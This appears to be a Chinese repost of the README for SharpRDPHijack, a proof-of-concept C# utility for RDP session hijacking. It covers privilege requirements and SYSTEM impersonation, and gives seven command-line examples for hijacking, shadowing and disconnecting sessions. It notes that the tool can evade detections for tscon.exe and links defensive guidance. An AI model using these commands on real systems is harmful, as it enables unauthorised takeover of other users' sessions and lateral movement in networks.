SharpRDPHijack
Sharp RDP Hijack 是一个概念验证的 .NET/C# 远程桌面协议 (RDP) 会话劫持实用程序。
背景
RDP 会话劫持是一种后利用技术,用于控制(强制)断开的交互式登录会话。该技术在Mitre ATT&CK T1563.002 - 远程服务会话劫持:RDP 劫持中有描述。
笔记
SharpRDPHijack.cs 在 .NET Framework v.4.8(以及可能的更早版本)下的 Visual Studio 2022 中编译。
TS/RDP 会话查询可能需要根据目标机器的权限。
会话劫持需要提升的(管理员)上下文才能连接到另一个会话。
除非知道目标会话用户的密码,否则需要 NT AUTHORITY\SYSTEM 上下文来控制会话。如果没有提供密码,SharpRDPHijack 将(尝试)冒充 NT AUTHORITY\SYSTEM。
与以前的操作系统版本相比,Windows 2019+ Server 会话劫持表现出有趣的行为。劫持重定向到已激活的 RDP 会话的会话后,Windows 登录屏幕会提示输入用户的密码/凭据。如果重定向到控制台会话,则此重定向成功且无缝。利用 --shadow 选项和 --console 选项尝试通过 RDP 阴影连接到会话。
一些人询问了这个实用程序的功能/必要性,因为您可以使用 tscon.exe 或 Mimikatz TS 执行相同的操作。编写此 POC 的目的是更好地了解 Win32 API 级别(更具体地说是 Wtsapi32)发生的事情,并拥有一个更简单的选项来连接到其他会话(最好使用 C#)。在此实现中,执行繁重工作的两个函数/方法是WTSConnectSession和WTSDisconnectSession。
潜在的优势在于,此实用程序可以逃避针对 tscon.exe + 支持命令使用的特定检测分析。链接资源页面中的防御指南对于解决此技术的滥用(例如,在组策略中超时后注销断开连接的会话)以及实施域管理员登录弹性最佳实践非常有用,以最大限度地减少域暴露,其中非 DA 帐户在 DA 使用的计算机上拥有管理员权限。
用法
[*] Parameters:
[*] A proof-of-concept Remote Desktop (RDP) session hijack utility
- For session hijacking, this utility must be run in an elevated context to connect to another session
- If a password is not specified, NT AUTHORITY\SYSTEM is impersonated
- For session query, admin privileges or "Remote Desktop Users" group membership is required on the target machine
[*] Parameters:
--tsquery=<host> : Query a host to identify RDP/TS session information (not required for other switches)
--session=<ID> : Target session identifier
--password=<User's Password> : Session password if known (otherwise optional - not required for disconnect switch)
--console : Redirect session to console session instead of current (active) session
--shadow : Shadow an active session (experimental)
--disconnect : Disconnect an active (remote) session
[*] Example Usage 1: Impersonate NT AUTHORITY\SYSTEM to hijack session #6 and redirect to the current session
SharpRDPHijack.exe --session=6
[*] Example Usage 2: Impersonate NT AUTHORITY\SYSTEM to hijack session #2 and redirect to the console session
SharpRDPHijack.exe --session=2 --console
[*] Example Usage 3: Hijack Remote Desktop session #4 with knowledge of the logged-on user's password
SharpRDPHijack.exe --session=4 --password=P@ssw0rd
[*] Example Usage 4: Disconnect active session #3
SharpRDPHijack.exe --session=3 --disconnect
[*] Example Usage 5: Query the local host for RDP/TS session information
SharpRDPHijack.exe --tsquery=localhost
[*] Example Usage 6: Shadow active session #3
SharpRDPHijack.exe --session=3 --shadow
[*] Example Usage 7: Shadow inactive session #2 by redirecting the session to the console
SharpRDPHijack.exe --session=2 --shadow --console
具有防御性考虑的资源
红队实验 | T1076:使用 tscon 劫持 RDP 进行横向移动
https://ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement
Kevin Beaumont | RDP 劫持 - 如何透明地劫持 RDS 和 RemoteApp 会话以在组织内移动
https://doublepulsar.com/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6
项目地址:
https://github.com/bohops/SharpRDPHijack
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里